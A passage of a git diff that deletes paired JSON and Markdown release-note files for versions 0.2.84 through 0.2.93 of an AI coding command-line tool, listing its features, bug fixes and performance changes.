-  },
-  {
-    "category": "features",
-    "description": "**ask_user_question** timeout policy is now configurable in config.toml and `/settings`.",
-    "breaking_change": false
-  },
-  {
-    "category": "fixes",
-    "description": "**grok wrap** now correctly handles quoted strings and shell aliases.",
-    "breaking_change": false
-  },
-  {
-    "category": "features",
-    "description": "**Ask-Question timeout** can now be toggled from `/settings` (Agent & Approval).",
-    "breaking_change": false
-  },
-  {
-    "category": "features",
-    "description": "**Thinking/reasoning blocks** are now shown by default while the model is working.",
-    "breaking_change": false
-  },
-  {
-    "category": "fixes",
-    "description": "**Text selection** settings now correctly honor explicit keep_text_selection values even when legacy keys remain.",
-    "breaking_change": false
-  },
-  {
-    "category": "performance",
-    "description": "**Idle CPU and memory** usage after long sessions or resume is now dramatically lower.",
-    "breaking_change": false
-  },
-  {
-    "category": "features",
-    "description": "**Critical announcements** now show a red title with a clickable [hide] button and aligned message.",
-    "breaking_change": false
-  },
-  {
-    "category": "fixes",
-    "description": "**Fixed a freeze** that could occur when editing and sending the last message in the queue.",
-    "breaking_change": false
-  },
-  {
-    "category": "features",
-    "description": "**Added remote_fetch option** under [features] in config.toml to disable all backend catalog and settings fetches for air-gapped environments.",
-    "breaking_change": false
-  },
-  {
-    "category": "fixes",
-    "description": "**Fixed a startup crash** on minimal Linux systems lacking system CA certificates.",
-    "breaking_change": false
-  }
-]
diff --git a/crates/codegen/kigi-shell/changelogs/0.2.84.md b/crates/codegen/kigi-shell/changelogs/0.2.84.md
deleted file mode 100644
index 7853368..0000000
--- a/crates/codegen/kigi-shell/changelogs/0.2.84.md
+++ /dev/null
@@ -1,30 +0,0 @@
-# 0.2.84 — 2026-07-03
-
-## Features
-
-- **Announcements** now update live during active sessions without restart or `/new`.
-- **Hiding** an announcement no longer suppresses later criticals; new ones reappear automatically.
-- **run_terminal_cmd** now requires a one-sentence `description` rationale in every invocation.
-- **ask_user_question** timeout policy is now configurable in config.toml and `/settings`.
-- **Ask-Question timeout** can now be toggled from `/settings` (Agent & Approval).
-- **Thinking/reasoning blocks** are now shown by default while the model is working.
-- **Critical announcements** now show a red title with a clickable [hide] button and aligned message.
-- **Added remote_fetch option** under [features] in config.toml to disable all backend catalog and settings fetches for air-gapped environments.
-
-## Bug Fixes
-
-- **Images** pasted or read from GIF, BMP or TIFF files are now automatically converted so they work with image generation.
-- **Queue panel** now shows action buttons on hover and the status bar displays a compact done/total task count.
-- **Hook matchers** now correctly see the real MCP tool name instead of the internal dispatcher name.
-- **Copy** now succeeds when running inside containers even when the terminal brand cannot be detected.
-- **Tool result previews** no longer paint opaque panels in `grok --minimal`.
-- **grok wrap** now correctly handles quoted strings and shell aliases.
-- **Text selection** settings now correctly honor explicit keep_text_selection values even when legacy keys remain.
-- **Fixed a freeze** that could occur when editing and sending the last message in the queue.
-- **Fixed a startup crash** on minimal Linux systems lacking system CA certificates.
-
-## Performance
-
-- **Grep** now stops early on broad searches, returning faster results with far less memory use.
-- **Idle CPU and memory** usage after long sessions or resume is now dramatically lower.
-
diff --git a/crates/codegen/kigi-shell/changelogs/0.2.85.json b/crates/codegen/kigi-shell/changelogs/0.2.85.json
deleted file mode 100644
index e6a3158..0000000
--- a/crates/codegen/kigi-shell/changelogs/0.2.85.json
+++ /dev/null
@@ -1,67 +0,0 @@
-[
-  {
-    "category": "fixes",
-    "description": "**Permission prompts** now correctly wrap long bash commands while preserving structure and quotes.",
-    "breaking_change": false
-  },
-  {
-    "category": "features",
-    "description": "**Pressing Enter** on an empty prompt now sends the top queued follow-up immediately while a turn is running.",
-    "breaking_change": false
-  },
-  {
-    "category": "features",
-    "description": "**Tool call grouping** can now be enabled via config.toml or settings to collapse consecutive read/search/list calls.",
-    "breaking_change": false
-  },
-  {
-    "category": "features",
-    "description": "**Consecutive tool calls** of the same kind can now be folded into a single row when group_tool_verbs is enabled.",
-    "breaking_change": false
-  },
-  {
-    "category": "fixes",
-    "description": "**Claude Code settings** with permissions.defaultMode are now correctly honored.",
-    "breaking_change": false
-  },
-  {
-    "category": "features",
-    "description": "**Subagent conversations** now receive the same type-specific instructions in gateway chat as in the CLI.",
-    "breaking_change": false
-  },
-  {
-    "category": "features",
-    "description": "**Scheduled automation tasks** now show their header panel correctly in gateway chat sessions.",
-    "breaking_change": false
-  },
-  {
-    "category": "fixes",
-    "description": "**Project skills and commands** are now discovered even when their directories are gitignored.",
-    "breaking_change": false
-  },
-  {
-    "category": "features",
-    "description": "**Promotional announcements** now appear with clickable CTAs and can be non-dismissible.",
-    "breaking_change": false
-  },
-  {
-    "category": "fixes",
-    "description": "**Inline LaTeX math** with padding spaces now renders correctly instead of showing raw dollar signs.",
-    "breaking_change": false
-  },
-  {
-    "category": "features",
-    "description": "**Subagents** now run in the background by default unless explicitly set to false.",
-    "breaking_change": false
-  },
-  {
-    "category": "fixes",
-    "description": "**Manual /recap** now works on the same turn and long auto recaps are hidden from view while still saved.",
-    "breaking_change": false
-  },
-  {
-    "category": "fixes",
-    "description": "**Always allow** for common commands like ls and git status now remembers just the command instead of extra arguments.",
-    "breaking_change": false
-  }
-]
diff --git a/crates/codegen/kigi-shell/changelogs/0.2.85.md b/crates/codegen/kigi-shell/changelogs/0.2.85.md
deleted file mode 100644
index 1483b2a..0000000
--- a/crates/codegen/kigi-shell/changelogs/0.2.85.md
+++ /dev/null
@@ -1,21 +0,0 @@
-# 0.2.85 — 2026-07-03
-
-## Features
-
-- **Pressing Enter** on an empty prompt now sends the top queued follow-up immediately while a turn is running.
-- **Tool call grouping** can now be enabled via config.toml or settings to collapse consecutive read/search/list calls.
-- **Consecutive tool calls** of the same kind can now be folded into a single row when group_tool_verbs is enabled.
-- **Subagent conversations** now receive the same type-specific instructions in gateway chat as in the CLI.
-- **Scheduled automation tasks** now show their header panel correctly in gateway chat sessions.
-- **Promotional announcements** now appear with clickable CTAs and can be non-dismissible.
-- **Subagents** now run in the background by default unless explicitly set to false.
-
-## Bug Fixes
-
-- **Permission prompts** now correctly wrap long bash commands while preserving structure and quotes.
-- **Claude Code settings** with permissions.defaultMode are now correctly honored.
-- **Project skills and commands** are now discovered even when their directories are gitignored.
-- **Inline LaTeX math** with padding spaces now renders correctly instead of showing raw dollar signs.
-- **Manual /recap** now works on the same turn and long auto recaps are hidden from view while still saved.
-- **Always allow** for common commands like ls and git status now remembers just the command instead of extra arguments.
-
diff --git a/crates/codegen/kigi-shell/changelogs/0.2.86.json b/crates/codegen/kigi-shell/changelogs/0.2.86.json
deleted file mode 100644
index e6aa34b..0000000
--- a/crates/codegen/kigi-shell/changelogs/0.2.86.json
+++ /dev/null
@@ -1,37 +0,0 @@
-[
-  {
-    "category": "features",
-    "description": "**Voice language** setting now lets you pick speech-to-text language (including System) in the Editor settings.",
-    "breaking_change": false
-  },
-  {
-    "category": "fixes",
-    "description": "**--minimal** flag now shows in `grok --help`.",
-    "breaking_change": false
-  },
-  {
-    "category": "features",
-    "description": "**Tab autocomplete** now suggests your next prompt as ghost text after each turn.",
-    "breaking_change": false
-  },
-  {
-    "category": "features",
-    "description": "**/usage** (and /cost) is now hidden for free and X Basic personal accounts.",
-    "breaking_change": false
-  },
-  {
-    "category": "fixes",
-    "description": "**Session resume notifications** no longer appear when a workspace boots for the first time.",
-    "breaking_change": false
-  },
-  {
-    "category": "features",
-    "description": "**Media generation** no longer hits per-session file limits; image and video byte budgets increased.",
-    "breaking_change": false
-  },
-  {
-    "category": "fixes",
-    "description": "**Claude-style Bash(cmd:*)** permission rules are now correctly translated to prefix matches.",
-    "breaking_change": false
-  }
-]
diff --git a/crates/codegen/kigi-shell/changelogs/0.2.86.md b/crates/codegen/kigi-shell/changelogs/0.2.86.md
deleted file mode 100644
index 132597a..0000000
--- a/crates/codegen/kigi-shell/changelogs/0.2.86.md
+++ /dev/null
@@ -1,15 +0,0 @@
-# 0.2.86 — 2026-07-04
-
-## Features
-
-- **Voice language** setting now lets you pick speech-to-text language (including System) in the Editor settings.
-- **Tab autocomplete** now suggests your next prompt as ghost text after each turn.
-- **/usage** (and /cost) is now hidden for free and X Basic personal accounts.
-- **Media generation** no longer hits per-session file limits; image and video byte budgets increased.
-
-## Bug Fixes
-
-- **--minimal** flag now shows in `grok --help`.
-- **Session resume notifications** no longer appear when a workspace boots for the first time.
-- **Claude-style Bash(cmd:*)** permission rules are now correctly translated to prefix matches.
-
diff --git a/crates/codegen/kigi-shell/changelogs/0.2.87.json b/crates/codegen/kigi-shell/changelogs/0.2.87.json
deleted file mode 100644
index d626b37..0000000
--- a/crates/codegen/kigi-shell/changelogs/0.2.87.json
+++ /dev/null
@@ -1,57 +0,0 @@
-[
-  {
-    "category": "fixes",
-    "description": "**--minimal** mode now always uses your terminal's own colors so text stays readable on any background.",
-    "breaking_change": false
-  },
-  {
-    "category": "fixes",
-    "description": "**Invalid fields** in [model.*] config blocks no longer cause the whole model to disappear from the picker.",
-    "breaking_change": false
-  },
-  {
-    "category": "features",
-    "description": "**Subscription upgrades** are now detected automatically without restarting the CLI.",
-    "breaking_change": false
-  },
-  {
-    "category": "features",
-    "description": "**Bash permission prompts** now offer a \"Never allow\" choice that persists the deny rule.",
-    "breaking_change": false
-  },
-  {
-    "category": "fixes",
-    "description": "**File tools** no longer target paths with literal trailing newlines or whitespace from model output.",
-    "breaking_change": false
-  },
-  {
-    "category": "fixes",
-    "description": "**Fixed interactions** in no-freeform question modals so clicks below the last option no longer enter input mode.",
-    "breaking_change": false
-  },
-  {
-    "category": "features",
-    "description": "**New `/docs` slash command** opens How-to Guides picker, browses web docs, or jumps directly to a guide by title.",
-    "breaking_change": false
-  },
-  {
-    "category": "features",
-    "description": "**Per-model reasoning effort menus** are now configurable from the server and config.toml without a client release.",
-    "breaking_change": false
-  },
-  {
-    "category": "fixes",
-    "description": "**Background tasks** now correctly wake the agent after a cancelled blocking wait instead of staying idle.",
-    "breaking_change": false
-  },
-  {
-    "category": "fixes",
-    "description": "**Copying quoted text** from rendered responses no longer includes the quote bar prefix in pretty mode.",
-    "breaking_change": false
-  },
-  {
-    "category": "features",
-    "description": "**Finished thinking blocks** now fold into grouped tool-call rows when group_tool_verbs is enabled.",
-    "breaking_change": false
-  }
-]
diff --git a/crates/codegen/kigi-shell/changelogs/0.2.87.md b/crates/codegen/kigi-shell/changelogs/0.2.87.md
deleted file mode 100644
index 8d23bf5..0000000
--- a/crates/codegen/kigi-shell/changelogs/0.2.87.md
+++ /dev/null
@@ -1,18 +0,0 @@
-# 0.2.87 — 2026-07-05
-
-## Features
-
-- **Subscription upgrades** are now detected automatically without restarting the CLI.
-- **Bash permission prompts** now offer a "Never allow" choice that persists the deny rule.
-- **New `/docs` slash command** opens How-to Guides picker, browses web docs, or jumps directly to a guide by title.
-- **Per-model reasoning effort menus** are now configurable from the server and config.toml without a client release.
-- **Finished thinking blocks** now fold into grouped tool-call rows when group_tool_verbs is enabled.
-
-## Bug Fixes
-
-- **--minimal** mode now always uses your terminal's own colors so text stays readable on any background.
-- **Invalid fields** in [model.*] config blocks no longer cause the whole model to disappear from the picker.
-- **File tools** no longer target paths with literal trailing newlines or whitespace from model output.
-- **Fixed interactions** in no-freeform question modals so clicks below the last option no longer enter input mode.
-- **Background tasks** now correctly wake the agent after a cancelled blocking wait instead of staying idle.
-- **Copying quoted text** from rendered responses no longer includes the quote bar prefix in pretty mode.
diff --git a/crates/codegen/kigi-shell/changelogs/0.2.88.json b/crates/codegen/kigi-shell/changelogs/0.2.88.json
deleted file mode 100644
index 1a65a47..0000000
--- a/crates/codegen/kigi-shell/changelogs/0.2.88.json
+++ /dev/null
@@ -1,47 +0,0 @@
-[
-  {
-    "category": "features",
-    "description": "**Scrolling** feels smoother with better trackpad and wheel handling plus configurable speed and mode.",
-    "breaking_change": false
-  },
-  {
-    "category": "fixes",
-    "description": "**Session content search** now correctly indexes messages containing escape sequences like newlines and quotes.",
-    "breaking_change": false
-  },
-  {
-    "category": "features",
-    "description": "**Session search** now returns tighter multi-word results and handles filenames and plurals better.",
-    "breaking_change": false
-  },
-  {
-    "category": "features",
-    "description": "**Session picker** now always searches conversation content for queries of two or more characters.",
-    "breaking_change": false
-  },
-  {
-    "category": "features",
-    "description": "**Tool call grouping** is now enabled by default, folding consecutive reads and searches into single rows.",
-    "breaking_change": false
-  },
-  {
-    "category": "features",
-    "description": "**Plugins tab** now supports `u` to update the selected plugin and shows non-blocking success feedback.",
-    "breaking_change": false
-  },
-  {
-    "category": "fixes",
-    "description": "**Formatted links** now keep their link color when wrapped in bold, italic, or strikethrough.",
-    "breaking_change": false
-  },
-  {
-    "category": "features",
-    "description": "**Reasoning effort** used for a session is now recorded in summary.json and conversation history.",
-    "breaking_change": false
-  },
-  {
-    "category": "fixes",
-    "description": "**Resuming sessions** no longer fails permanently when history files contain corrupted lines from interrupted writes.",
-    "breaking_change": false
-  }
-]
diff --git a/crates/codegen/kigi-shell/changelogs/0.2.88.md b/crates/codegen/kigi-shell/changelogs/0.2.88.md
deleted file mode 100644
index 32249e8..0000000
--- a/crates/codegen/kigi-shell/changelogs/0.2.88.md
+++ /dev/null
@@ -1,17 +0,0 @@
-# 0.2.88 — 2026-07-06
-
-## Features
-
-- **Scrolling** feels smoother with better trackpad and wheel handling plus configurable speed and mode.
-- **Session search** now returns tighter multi-word results and handles filenames and plurals better.
-- **Session picker** now always searches conversation content for queries of two or more characters.
-- **Tool call grouping** is now enabled by default, folding consecutive reads and searches into single rows.
-- **Plugins tab** now supports `u` to update the selected plugin and shows non-blocking success feedback.
-- **Reasoning effort** used for a session is now recorded in summary.json and conversation history.
-
-## Bug Fixes
-
-- **Session content search** now correctly indexes messages containing escape sequences like newlines and quotes.
-- **Formatted links** now keep their link color when wrapped in bold, italic, or strikethrough.
-- **Resuming sessions** no longer fails permanently when history files contain corrupted lines from interrupted writes.
-
diff --git a/crates/codegen/kigi-shell/changelogs/0.2.89.json b/crates/codegen/kigi-shell/changelogs/0.2.89.json
deleted file mode 100644
index dadff79..0000000
--- a/crates/codegen/kigi-shell/changelogs/0.2.89.json
+++ /dev/null
@@ -1,57 +0,0 @@
-[
-  {
-    "category": "features",
-    "description": "**Voice dictation** now works on Linux (requires pipewire, pulseaudio-utils or alsa-utils).",
-    "breaking_change": false
-  },
-  {
-    "category": "fixes",
-    "description": "**Try Again** on the free-usage paywall now correctly resubmits after rate-limit retries.",
-    "breaking_change": false
-  },
-  {
-    "category": "performance",
-    "description": "**Git operations** like rebase no longer cause long pauses from repeated full-repo scans.",
-    "breaking_change": false
-  },
-  {
-    "category": "fixes",
-    "description": "**Cursor** now respects your terminal's default blink style instead of always blinking.",
-    "breaking_change": false
-  },
-  {
-    "category": "features",
-    "description": "**New /auto slash command** switches to classifier permission mode; the menu now shows only the other mode.",
-    "breaking_change": false
-  },
-  {
-    "category": "fixes",
-    "description": "**Skill commands** in scrollback now highlight only the command name, not the arguments.",
-    "breaking_change": false
-  },
-  {
-    "category": "fixes",
-    "description": "**Plan files** now default to .grok/plan.md to match Grok conventions.",
-    "breaking_change": false
-  },
-  {
-    "category": "features",
-    "description": "**--effort** and **--reasoning-effort** are now interchangeable CLI flags for setting reasoning effort.",
-    "breaking_change": false
-  },
-  {
-    "category": "fixes",
-    "description": "**LaTeX math** renders correctly for display equations and complex subscripts.",
-    "breaking_change": false
-  },
-  {
-    "category": "features",
-    "description": "**Image edits** now use the higher-quality Imagine model for better output.",
-    "breaking_change": false
-  },
-  {
-    "category": "fixes",
-    "description": "**Queue hint** in the terminal no longer shows incorrect bold text on part of the message.",
-    "breaking_change": false
-  }
-]
diff --git a/crates/codegen/kigi-shell/changelogs/0.2.89.md b/crates/codegen/kigi-shell/changelogs/0.2.89.md
deleted file mode 100644
index 7873143..0000000
--- a/crates/codegen/kigi-shell/changelogs/0.2.89.md
+++ /dev/null
@@ -1,22 +0,0 @@
-# 0.2.89 — 2026-07-07
-
-## Features
-
-- **Voice dictation** now works on Linux (requires pipewire, pulseaudio-utils or alsa-utils).
-- **New /auto slash command** switches to classifier permission mode; the menu now shows only the other mode.
-- **--effort** and **--reasoning-effort** are now interchangeable CLI flags for setting reasoning effort.
-- **Image edits** now use the higher-quality Imagine model for better output.
-
-## Bug Fixes
-
-- **Try Again** on the free-usage paywall now correctly resubmits after rate-limit retries.
-- **Cursor** now respects your terminal's default blink style instead of always blinking.
-- **Skill commands** in scrollback now highlight only the command name, not the arguments.
-- **Plan files** now default to .kigi/plan.md to match Grok conventions.
-- **LaTeX math** renders correctly for display equations and complex subscripts.
-- **Queue hint** in the terminal no longer shows incorrect bold text on part of the message.
-
-## Performance
-
-- **Git operations** like rebase no longer cause long pauses from repeated full-repo scans.
-
diff --git a/crates/codegen/kigi-shell/changelogs/0.2.9.json b/crates/codegen/kigi-shell/changelogs/0.2.9.json
deleted file mode 100644
index 5f033db..0000000
--- a/crates/codegen/kigi-shell/changelogs/0.2.9.json
+++ /dev/null
@@ -1,7 +0,0 @@
-[
-  {
-    "category": "features",
-    "description": "**Added --device-code** as alias for device authentication and improved headless auth error messages.",
-    "breaking_change": false
-  }
-]
diff --git a/crates/codegen/kigi-shell/changelogs/0.2.9.md b/crates/codegen/kigi-shell/changelogs/0.2.9.md
deleted file mode 100644
index 44159e4..0000000
--- a/crates/codegen/kigi-shell/changelogs/0.2.9.md
+++ /dev/null
@@ -1,6 +0,0 @@
-# 0.2.9
-
-## Features
-
-- **Added --device-code** as alias for device authentication and improved headless auth error messages.
-
diff --git a/crates/codegen/kigi-shell/changelogs/0.2.90.json b/crates/codegen/kigi-shell/changelogs/0.2.90.json
deleted file mode 100644
index ae02b8e..0000000
--- a/crates/codegen/kigi-shell/changelogs/0.2.90.json
+++ /dev/null
@@ -1,127 +0,0 @@
-[
-  {
-    "category": "features",
-    "description": "**New /minimal and /fullscreen slash commands** let you switch the current session between minimal and fullscreen modes without quitting.",
-    "breaking_change": false
-  },
-  {
-    "category": "fixes",
-    "description": "**Model list now refreshes** after upgrading from a free to a paid subscription tier.",
-    "breaking_change": false
-  },
-  {
-    "category": "fixes",
-    "description": "**Extensions modal** now shows clearer enable/disable and install hints that match what each key actually does.",
-    "breaking_change": false
-  },
-  {
-    "category": "features",
-    "description": "**Session titles** from /rename now appear on the prompt box border after resume.",
-    "breaking_change": false
-  },
-  {
-    "category": "features",
-    "description": "**grok models** banner now correctly reports per-model API keys and deployment keys.",
-    "breaking_change": false
-  },
-  {
-    "category": "fixes",
-    "description": "**Folder trust** no longer prompts for or scans the entire home directory when it is a git repo.",
-    "breaking_change": false
-  },
-  {
-    "category": "fixes",
-    "description": "**Code blocks** no longer lose their background shading on the final line of unterminated fences.",
-    "breaking_change": false
-  },
-  {
-    "category": "fixes",
-    "description": "**Plan mode** now activates immediately when toggled during an active turn instead of waiting for the next prompt.",
-    "breaking_change": false
-  },
-  {
-    "category": "fixes",
-    "description": "Clicking back into the terminal window now focuses the prompt immediately when a permission or plan-approval panel is waiting.",
-    "breaking_change": false
-  },
-  {
-    "category": "fixes",
-    "description": "Paths the model emits inside quotes no longer end with literal backslash-n characters and cause file-not-found errors.",
-    "breaking_change": false
-  },
-  {
-    "category": "features",
-    "description": "MCP tool output size limit is now configurable via environment variable, config.toml, or remote settings (default unchanged).",
-    "breaking_change": false
-  },
-  {
-    "category": "fixes",
-    "description": "**Next reset** time shown by /usage is now correct during daylight saving time.",
-    "breaking_change": false
-  },
-  {
-    "category": "fixes",
-    "description": "The ask-user-question tool now waits up to 30 minutes by default before timing out.",
-    "breaking_change": false
-  },
-  {
-    "category": "features",
-    "description": "Chat conversations listed in the unified sidebar can now be renamed or deleted from the desktop app.",
-    "breaking_change": false
-  },
-  {
-    "category": "fixes",
-    "description": "The free-usage paywall no longer offers a Try Again button.",
-    "breaking_change": false
-  },
-  {
-    "category": "fixes",
-    "description": "Inline images no longer bleed through when entering or leaving the fullscreen subagent view.",
-    "breaking_change": false
-  },
-  {
-    "category": "features",
-    "description": "You can now add a local directory as a plugin marketplace source with `grok plugin marketplace add`.",
-    "breaking_change": false
-  },
-  {
-    "category": "fixes",
-    "description": "The [Open Image] button under generated media is now colored like a link.",
-    "breaking_change": false
-  },
-  {
-    "category": "features",
-    "description": "**Auto permission mode** now prompts far less often on routine development commands.",
-    "breaking_change": false
-  },
-  {
-    "category": "features",
-    "description": "Short media paths the model prints (images/1.jpg) are now clickable and open the file.",
-    "breaking_change": false
-  },
-  {
-    "category": "features",
-    "description": "**Preview** now prefers common dev ports like 8080 when multiple HTTP servers are detected.",
-    "breaking_change": false
-  },
-  {
-    "category": "internal",
-    "description": "**Tool logs and artifacts** for workspace sessions are now stored under /tmp instead of the project directory.",
-    "breaking_change": false
-  },
-  {
-    "category": "fixes",
-    "description": "**Preview routing** now auto-selects well-known ports like 8080 even with framework signals on obscure ports.",
-    "breaking_change": false
-  },
-  {
-    "category": "fixes",
-    "description": "**Login screen** now centers the authentication URL when it fits on one line.",
-    "breaking_change": false
-  },
-  {
-    "category": "fixes",
-    "description": "**Enter key** now queues follow-ups by default while the agent waits on task output.",
-    "breaking_change": false
-  }
-]
diff --git a/crates/codegen/kigi-shell/changelogs/0.2.90.md b/crates/codegen/kigi-shell/changelogs/0.2.90.md
deleted file mode 100644
index 7d5b81d..0000000
--- a/crates/codegen/kigi-shell/changelogs/0.2.90.md
+++ /dev/null
@@ -1,32 +0,0 @@
-# 0.2.90 — 2026-07-07
-
-## Features
-
-- **New /minimal and /fullscreen slash commands** let you switch the current session between minimal and fullscreen modes without quitting.
-- **Session titles** from /rename now appear on the prompt box border after resume.
-- **grok models** banner now correctly reports per-model API keys and deployment keys.
-- MCP tool output size limit is now configurable via environment variable, config.toml, or remote settings (default unchanged).
-- Chat conversations listed in the unified sidebar can now be renamed or deleted from the desktop app.
-- You can now add a local directory as a plugin marketplace source with `grok plugin marketplace add`.
-- **Auto permission mode** now prompts far less often on routine development commands.
-- Short media paths the model prints (images/1.jpg) are now clickable and open the file.
-- **Preview** now prefers common dev ports like 8080 when multiple HTTP servers are detected.
-
-## Bug Fixes
-
-- **Model list now refreshes** after upgrading from a free to a paid subscription tier.
-- **Extensions modal** now shows clearer enable/disable and install hints that match what each key actually does.
-- **Folder trust** no longer prompts for or scans the entire home directory when it is a git repo.
-- **Code blocks** no longer lose their background shading on the final line of unterminated fences.
-- **Plan mode** now activates immediately when toggled during an active turn instead of waiting for the next prompt.
-- Clicking back into the terminal window now focuses the prompt immediately when a permission or plan-approval panel is waiting.
-- Paths the model emits inside quotes no longer end with literal backslash-n characters and cause file-not-found errors.
-- **Next reset** time shown by /usage is now correct during daylight saving time.
-- The ask-user-question tool now waits up to 30 minutes by default before timing out.
-- The free-usage paywall no longer offers a Try Again button.
-- Inline images no longer bleed through when entering or leaving the fullscreen subagent view.
-- The [Open Image] button under generated media is now colored like a link.
-- **Preview routing** now auto-selects well-known ports like 8080 even with framework signals on obscure ports.
-- **Login screen** now centers the authentication URL when it fits on one line.
-- **Enter key** now queues follow-ups by default while the agent waits on task output.
-
diff --git a/crates/codegen/kigi-shell/changelogs/0.2.91.json b/crates/codegen/kigi-shell/changelogs/0.2.91.json
deleted file mode 100644
index a01c07a..0000000
--- a/crates/codegen/kigi-shell/changelogs/0.2.91.json
+++ /dev/null
@@ -1,12 +0,0 @@
-[
-  {
-    "category": "fixes",
-    "description": "**Voice dictation indicator** and stop button now remain visible and clickable during plan mode review.",
-    "breaking_change": false
-  },
-  {
-    "category": "fixes",
-    "description": "**New Worktree dialog** now expands to show long names and scrolls with a leading … when the terminal is narrow.",
-    "breaking_change": false
-  }
-]
diff --git a/crates/codegen/kigi-shell/changelogs/0.2.91.md b/crates/codegen/kigi-shell/changelogs/0.2.91.md
deleted file mode 100644
index f28cc81..0000000
--- a/crates/codegen/kigi-shell/changelogs/0.2.91.md
+++ /dev/null
@@ -1,6 +0,0 @@
-# 0.2.91 — 2026-07-07
-
-## Bug Fixes
-
-- **Voice dictation indicator** and stop button now remain visible and clickable during plan mode review.
-- **New Worktree dialog** now expands to show long names and scrolls with a leading … when the terminal is narrow.
diff --git a/crates/codegen/kigi-shell/changelogs/0.2.92.json b/crates/codegen/kigi-shell/changelogs/0.2.92.json
deleted file mode 100644
index 8c40449..0000000
--- a/crates/codegen/kigi-shell/changelogs/0.2.92.json
+++ /dev/null
@@ -1,47 +0,0 @@
-[
-  {
-    "category": "fixes",
-    "description": "**User-run shell commands** now display their complete output after finishing instead of silently dropping middle lines.",
-    "breaking_change": false
-  },
-  {
-    "category": "fixes",
-    "description": "**Edit tool output** now correctly highlights multi-line strings and scopes that previously spilled across hunks.",
-    "breaking_change": false
-  },
-  {
-    "category": "fixes",
-    "description": "**Always allow** grants for MCP, web_fetch and bash now take effect immediately in auto mode without re-prompting.",
-    "breaking_change": false
-  },
-  {
-    "category": "fixes",
-    "description": "**Cmd/Ctrl+click** on bare http(s) links now opens only once on Warp terminals.",
-    "breaking_change": false
-  },
-  {
-    "category": "fixes",
-    "description": "**Cmd/Ctrl+click** now works on imagine media paths and URLs that wrap across multiple terminal rows.",
-    "breaking_change": false
-  },
-  {
-    "category": "fixes",
-    "description": "**grok update** on Windows no longer fails when a previous .old executable is still running.",
-    "breaking_change": false
-  },
-  {
-    "category": "performance",
-    "description": "**Pasting images** on macOS is now ~65× faster by reading the pasteboard directly instead of via osascript.",
-    "breaking_change": false
-  },
-  {
-    "category": "features",
-    "description": "**/minimal** and **/fullscreen** commands let you switch the current session between minimal and fullscreen modes.",
-    "breaking_change": false
-  },
-  {
-    "category": "features",
-    "description": "**ask_user_question tool** can now be enabled or disabled via config.toml, environment variables, or remote flags while defaulting to on.",
-    "breaking_change": false
-  }
-]
diff --git a/crates/codegen/kigi-shell/changelogs/0.2.92.md b/crates/codegen/kigi-shell/changelogs/0.2.92.md
deleted file mode 100644
index 9718309..0000000
--- a/crates/codegen/kigi-shell/changelogs/0.2.92.md
+++ /dev/null
@@ -1,20 +0,0 @@
-# 0.2.92 — 2026-07-08
-
-## Features
-
-- **/minimal** and **/fullscreen** commands let you switch the current session between minimal and fullscreen modes.
-- **ask_user_question tool** can now be enabled or disabled via config.toml, environment variables, or remote flags while defaulting to on.
-
-## Bug Fixes
-
-- **User-run shell commands** now display their complete output after finishing instead of silently dropping middle lines.
-- **Edit tool output** now correctly highlights multi-line strings and scopes that previously spilled across hunks.
-- **Always allow** grants for MCP, web_fetch and bash now take effect immediately in auto mode without re-prompting.
-- **Cmd/Ctrl+click** on bare http(s) links now opens only once on Warp terminals.
-- **Cmd/Ctrl+click** now works on imagine media paths and URLs that wrap across multiple terminal rows.
-- **grok update** on Windows no longer fails when a previous .old executable is still running.
-
-## Performance
-
-- **Pasting images** on macOS is now ~65× faster by reading the pasteboard directly instead of via osascript.
-
diff --git a/crates/codegen/kigi-shell/changelogs/0.2.93.json b/crates/codegen/kigi-shell/changelogs/0.2.93.json
deleted file mode 100644
index 3ef104c..0000000
--- a/crates/codegen/kigi-shell/changelogs/0.2.93.json
+++ /dev/null
@@ -1,57 +0,0 @@
-[
-  {
-    "category": "fixes",
-    "description": "**grok --minimal** now aligns the prompt, status bar, and messages flush-left with the welcome card.",
-    "breaking_change": false
-  },
-  {
-    "category": "fixes",
-    "description": "**/plugins** no longer lists never-installed Claude marketplace entries and now groups plugins by their real source.",
-    "breaking_change": false
-  },
-  {
-    "category": "features",
-    "description": "MCP permission prompts now show the planned arguments so you can judge what the tool will actually do.",
-    "breaking_change": false
-  },
-  {
-    "category": "fixes",
-    "description": "Successful image compression no longer leaves a permanent line in the transcript.",
-    "breaking_change": false
-  },
-  {
-    "category": "features",
-    "description": "The \"Managed by grok.com\" link in the Extensions modal is now clickable and underlined.",
-    "breaking_change": false
-  },
-  {
-    "category": "features",
-    "description": "Dragging inside rendered markdown tables now selects whole cells or rectangular ranges and copies as TSV.",
-    "breaking_change": false
-  },
-  {
-    "category": "fixes",
-    "description": "**--no-ask-user** now also disables ask_user_question for subagents.",
-    "breaking_change": false
-  },
-  {
-    "category": "fixes",
-    "description": "**--no-ask-user** now also disables ask_user_question for subagents.",
-    "breaking_change": false
-  },
-  {
-    "category": "features",
-    "description": "Shift+Tab now goes straight to Plan mode when the plan-mode tip is showing.",
-    "breaking_change": false
-  },
-  {
-    "category": "breaking",
-    "description": "**Esc** no longer cancels a running turn; use **Ctrl+C** instead. Double-Esc rewind now works while focused on scrollback.",
-    "breaking_change": true
-  },
-  {
-    "category": "fixes",
-    "description": "**Fixed a crash** shortly after launch on some systems caused by the telemetry exporter.",
-    "breaking_change": false
-  }
-]
diff --git a/crates/codegen/kigi-shell/changelogs/0.2.93.md b/crates/codegen/kigi-shell/changelogs/0.2.93.md
deleted file mode 100644
index 50e659c..0000000
--- a/crates/codegen/kigi-shell/changelogs/0.2.93.md
+++ /dev/null
@@ -1,22 +0,0 @@
-# 0.2.93 — 2026-07-08
-
-## Breaking Changes
-
-- **Esc** no longer cancels a running turn; use **Ctrl+C** instead. Double-Esc rewind now works while focused on scrollback.
-
-## Features
-
-- MCP permission prompts now show the planned arguments so you can judge what the tool will actually do.
-- The "Managed by grok.com" link in the Extensions modal is now clickable and underlined.
-- Dragging inside rendered markdown tables now selects whole cells or rectangular ranges and copies as TSV.
-- Shift+Tab now goes straight to Plan mode when the plan-mode tip is showing.
-
-## Bug Fixes
-
-- **grok --minimal** now aligns the prompt, status bar, and messages flush-left with the welcome card.
-- **/plugins** no longer lists never-installed Claude marketplace entries and now groups plugins by their real source.
-- Successful image compression no longer leaves a permanent line in the transcript.
-- **--no-ask-user** now also disables ask_user_question for subagents.
-- **--no-ask-user** now also disables ask_user_question for subagents.
-- **Fixed a crash** shortly after launch on some systems caused by the telemetry exporter.
-
